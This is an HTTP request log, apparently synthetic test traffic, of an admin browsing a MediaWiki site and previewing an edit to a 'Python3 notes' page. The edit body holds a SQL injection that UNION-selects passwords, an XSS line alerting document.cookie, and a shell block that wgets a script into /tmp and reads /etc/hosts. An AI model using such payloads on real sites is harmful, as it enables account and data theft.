{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%2CUserInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=wq4ro", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Contributions&target=Admin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Contributions&target=Admin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui%2Coojs-ui-core%2Coojs-ui-toolbars%2Coojs-ui-widgets%2Coojs-ui-windows%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.contributions%7Cmediawiki.widgets.DateInputWidget%2CUserInputWidget%7Coojs-ui-toolbars.icons%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=niqrs", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Contributions&target=Admin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=135lg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.pager.styles/images/arrow-sort-descending.svg?855ba", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=ycdpp", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2FLighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:LinkSearch&target=example.com%2FLighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListUsers&username=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:MIMESearch&mime=image%2Fpng", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1eacc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:MIMESearch&mime=image%2Fpng", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=Li&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=Lighthouse&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1671", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 319", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3218", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0k8CAH1ZI6cQBLB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB--\r\n"}
